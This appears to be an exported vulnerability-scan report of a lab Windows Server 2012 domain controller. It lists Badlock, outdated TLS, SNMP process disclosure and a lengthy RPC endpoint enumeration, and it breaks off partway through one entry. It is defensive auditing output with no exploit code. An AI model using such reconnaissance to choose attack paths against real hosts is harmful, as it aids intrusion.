		90510		CVE-2016-0128		5.8		Medium		10.0.2.10		tcp		1028		MS16-047: Security Update for SAM and LSAD Remote Protocols (3148527) (Badlock) (uncredentialed check)		The remote Windows host is affected by an elevation of privilege
vulnerability.		The remote Windows host is affected by an elevation of privilege
vulnerability in the Security Account Manager (SAM) and Local Security
Authority (Domain Policy) (LSAD) protocols due to improper
authentication level negotiation over Remote Procedure Call (RPC)
channels. A man-in-the-middle attacker able to intercept
communications between a client and a server hosting a SAM database
can exploit this to force the authentication level to downgrade,
allowing the attacker to impersonate an authenticated user and access
the SAM database.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, and 10.		http://www.nessus.org/u?52ade1e9
http://badlock.org/				Medium

		90510		CVE-2016-0128		5.8		Medium		10.0.2.10		tcp		1031		MS16-047: Security Update for SAM and LSAD Remote Protocols (3148527) (Badlock) (uncredentialed check)		The remote Windows host is affected by an elevation of privilege
vulnerability.		The remote Windows host is affected by an elevation of privilege
vulnerability in the Security Account Manager (SAM) and Local Security
Authority (Domain Policy) (LSAD) protocols due to improper
authentication level negotiation over Remote Procedure Call (RPC)
channels. A man-in-the-middle attacker able to intercept
communications between a client and a server hosting a SAM database
can exploit this to force the authentication level to downgrade,
allowing the attacker to impersonate an authenticated user and access
the SAM database.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, and 10.		http://www.nessus.org/u?52ade1e9
http://badlock.org/				Medium

		104743				6.1		Medium		10.0.2.10		tcp		3389		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.		Medium

		157288				6.1		Medium		10.0.2.10		tcp		3389		TLS Version 1.1 Protocol Deprecated		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.1. TLS 1.1 lacks support for current and recommended
cipher suites. Ciphers that support encryption before MAC computation, and authenticated encryption modes such as GCM
cannot be used with TLS 1.1

As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 and higher will no longer function properly with major
web browsers and major vendors.		Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.		https://datatracker.ietf.org/doc/html/rfc8996
http://www.nessus.org/u?c8ae820d		TLSv1.1 is enabled and the server supports at least one cipher.		Medium

		10107						None		10.0.2.10		tcp		80		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Microsoft-HTTPAPI/2.0		None

		10107						None		10.0.2.10		tcp		5985		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Microsoft-HTTPAPI/2.0		None

		10107						None		10.0.2.10		tcp		47001		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Microsoft-HTTPAPI/2.0		None

		10114		CVE-1999-0524		0		None		10.0.2.10		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				This host returns non-standard timestamps (high bit is set)
The ICMP timestamps might be in little endian format (not in network format)
The remote clock is synchronized with the local clock.
		None

		10150						None		10.0.2.10		udp		137		Windows NetBIOS / SMB Remote Host Information Disclosure		It was possible to obtain the network name of the remote host.		The remote host is listening on UDP port 137 or TCP port 445, and
replies to NetBIOS nbtscan or SMB requests.

Note that this plugin gathers information to be used in other plugins,
but does not itself generate a report.		n/a				The following 5 NetBIOS names have been gathered :

 SERVER2012       = Computer name
 ACCB6000         = Workgroup / Domain name
 ACCB6000         = Domain Controllers
 SERVER2012       = File Server Service
 ACCB6000         = Domain Master Browser

The remote host has the following MAC address on its adapter :

   08:00:27:7f:6e:8c		None

		10287						None		10.0.2.10		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 10.0.2.9 to 10.0.2.10 : 
10.0.2.9
10.0.2.10

Hop Count: 1
		None

		10550						None		10.0.2.10		udp		161		SNMP Query Running Process List Disclosure		The list of processes running on the remote host can be obtained via SNMP.		It is possible to obtain the list of running processes on the remote
host by sending SNMP requests with the OID 1.3.6.1.2.1.25.4.2.1.2

An attacker may use this information to gain more knowledge about
the target host.		Disable the SNMP service on the remote host if you do not use it,
or filter incoming UDP packets going to this port.				
  PID   CPU   MEM COMMAND           ARGS
    1  2016     4 System Idle Process 
    4     3   268 System          
  208     0  1064 smss.exe        
  300     0  4240 csrss.exe       
  312     0 15692 dwm.exe         
  364     0  3596 wininit.exe     
  372     0 11908 csrss.exe       
  400     0 12868 winlogon.exe    
  452     0 10612 svchost.exe     -k LocalServiceNoNetwork
  460     0  7668 services.exe    
  468     1 49268 lsass.exe       
  592     0  9568 svchost.exe     -k DcomLaunch
  620     0  6456 svchost.exe     -k RPCSS
  708     0  6120 VBoxTray.exe     
  748     0 47048 dwm.exe         
  824     0  5152 VBoxService.exe 
  876     0 14764 svchost.exe     -k LocalServiceNetworkRestricted
  904     0 30072 svchost.exe     -k netsvcs
  948     0 10076 svchost.exe     -k LocalService
 1008     0 14372 svchost.exe     -k NetworkService
 1136     0  4304 taskeng.exe     {38D3A0A4-D8EC-4C4B-A6A5-AF95203BECAC}
 1164     0 12216 SMSvcHost.exe    -NetMsmqActivator
 1312     0  8880 spoolsv.exe     
 1336     0 40224 Microsoft.ActiveDirectory.WebServices.exe 
 1356     0  5148 conhost.exe     0x4
 1364     0  7264 svchost.exe     -k apphost
 1392     0 17896 dfsrs.exe       
 1420     0 47240 dns.exe         
 1448     0  7996 svchost.exe     -k ftpsvc
 1512     0  4224 ismserv.exe     
 1556     0  9408 mqsvc.exe       
 1576     0 21492 SMSvcHost.exe   
 1604     0  1132 GoogleCrashHandler.exe 
 1612     0  3368 csrss.exe       
 1716     0  7900 svchost.exe     -k PeerDist
 1788     0  7060 snmp.exe        
 1872     0  8120 svchost.exe     -k iissvcs
 1932     0  2596 wlms.exe        
 1952     0  3708 dfssvc.exe      
 2016     0  3672 nfsclnt.exe     
 2104     0  5848 taskhostex.exe  
 2344     0  7580 vds.exe         
 2368     0 20448 svchost.exe     -k termsvcs
 2400     0  4264 svchost.exe     -k NetworkServiceNetworkRestricted
 2420     0  9672 svchost.exe     -k LocalSystemNetworkRestricted
 2512     1 81820 explorer.exe    
 2844     0   808 GoogleCrashHandler64.exe 
 2912     0  6360 msdtc.exe       
 2940     0  4628 winlogon.exe    
 2988     0  2280 cmd.exe          
 3132     0  4948 jusched.exe      
 3320     0 16988 LogonUI.exe      /flags:0x0
		None

		10551						None		10.0.2.10		udp		161		SNMP Request Network Interfaces Enumeration		The list of network interfaces cards of the remote host can be obtained via
SNMP.		It is possible to obtain the list of the network interfaces installed
on the remote host by sending SNMP requests with the OID 1.3.6.1.2.1.2.1.0

An attacker may use this information to gain more knowledge about
the target host.		Disable the SNMP service on the remote host if you do not use it,
or filter incoming UDP packets going to this port.				
 Interface 1 information :
 ifIndex       : 1
 ifDescr       : Software Loopback Interface 1		None

		10736						None		10.0.2.10		tcp		135		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available locally :

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WindowsShutdown

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WMsgKRpc040660

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WindowsShutdown

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : WMsgKRpc040660

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 9b008953-f195-4bf9-bde0-4471971e58ed, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : OLE748C6A0AF8249738777D31A74B5A

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 9b008953-f195-4bf9-bde0-4471971e58ed, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : dabrpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 9b008953-f195-4bf9-bde0-4471971e58ed, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-603854749552a738fb

Object UUID : 580ccf53-a860-470a-9f86-f7ed33068379
UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
Description : Distributed Transaction Coordinator
Windows process : msdtc.exe
Type : Local RPC service
Named pipe : LRPC-56f70e7d3f156adcb4

Object UUID : 9b2c54cd-d7f2-43f6-b9a2-a58acb847b84
UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
Description : Distributed Transaction Coordinator
Windows process : msdtc.exe
Type : Local RPC service
Named pipe : LRPC-56f70e7d3f156adcb4

Object UUID : 3452a99a-95d7-4a98-9dbb-17b30b9d32d7
UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
Description : Distributed Transaction Coordinator
Windows process : msdtc.exe
Type : Local RPC service
Named pipe : LRPC-56f70e7d3f156adcb4

Object UUID : 5bc1ed07-f5f5-485f-9dfd-6fd0acf9a23c
UUID : 897e2e5f-93f3-4376-9c9c-fd2277495c27, version 1.0
Description : Unknown RPC service
Annotation : Frs2 Service
Type : Local RPC service
Named pipe : OLE3AD6D9040114BF4FB755C46F1BF5

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 15cd3850-28ca-11ce-a4e8-00aa006116cb, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-5e1428319853aa4576

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Local RPC service
Named pipe : QMsvc$server2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Local RPC service
Named pipe : QmReplService

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V1
Type : Local RPC service
Named pipe : QMMgmtFacility$server2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Local RPC service
Named pipe : QMsvc$server2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Local RPC service
Named pipe : QmReplService

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QMRT V2
Type : Local RPC service
Named pipe : QMMgmtFacility$server2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Local RPC service
Named pipe : QMsvc$server2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Local RPC service
Named pipe : QmReplService

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0
Description : Message Queuing Service
Windows process : mqsvc.exe
Annotation : Message Queuing - QM2QM V1
Type : Local RPC service
Named pipe : QMMgmtFacility$server2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Local RPC service
Named pipe : QMsvc$server2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Local RPC service
Named pipe : QmReplService

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1a9134dd-7b39-45ba-ad88-44d01ca47f28, version 1.0
Description : Unknown RPC service
Annotation : Message Queuing - RemoteRead V1
Type : Local RPC service
Named pipe : QMMgmtFacility$server2012

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
Description : IPsec Services (Windows XP & 2003)
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LRPC-1c68f8e4ea0ff73847

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-1c68f8e4ea0ff73847

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-1c68f8e4ea0ff73847

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-1c68f8e4ea0ff73847

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 76f03f96-cdfd-44fc-a22c-64950a001209, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-1c68f8e4ea0ff73847

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : audit

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : securityevent

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : lsacap

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LSA_EAS_ENDPOINT

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : SidKey Local End Point

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 7364746e-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : OLE0A286D625926C89E8BD6030FD11B

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : audit

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : securityevent

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : lsacap

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : LSA_EAS_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : SidKey Local End Point

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : OLE0A286D625926C89E8BD6030FD11B

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0
Description : Active Directory Replication Interface
Windows process : unknown
Annotation : MS NT Directory DRS Interface
Type : Local RPC service
Named pipe : NTDS_LPC

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : audit

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : securityevent

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsacap

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LSA_EAS_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : SidKey Local End Point

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : OLE0A286D625926C89E8BD6030FD11B

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0
Description : Local Security Authority
Windows process : lsass.exe
Type : Local RPC service
Named pipe : NTDS_LPC

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : audit

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : securityevent

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsacap

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : LSA_EAS_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : SidKey Local End Point

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : OLE0A286D625926C89E8BD6030FD11B

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : NTDS_LPC

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : audit

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : securityevent

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : lsacap

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : LSA_EAS_ENDPOINT

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : SidKey Local End Point

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : OLE0A286D625926C89E8BD6030FD11B

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : NTDS_LPC

Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
Type : Local RPC service
Named pipe : NETLOGON_LRPC

Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da
UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0
Description : Unknown RPC service
Annotation : RemoteAccessCheck
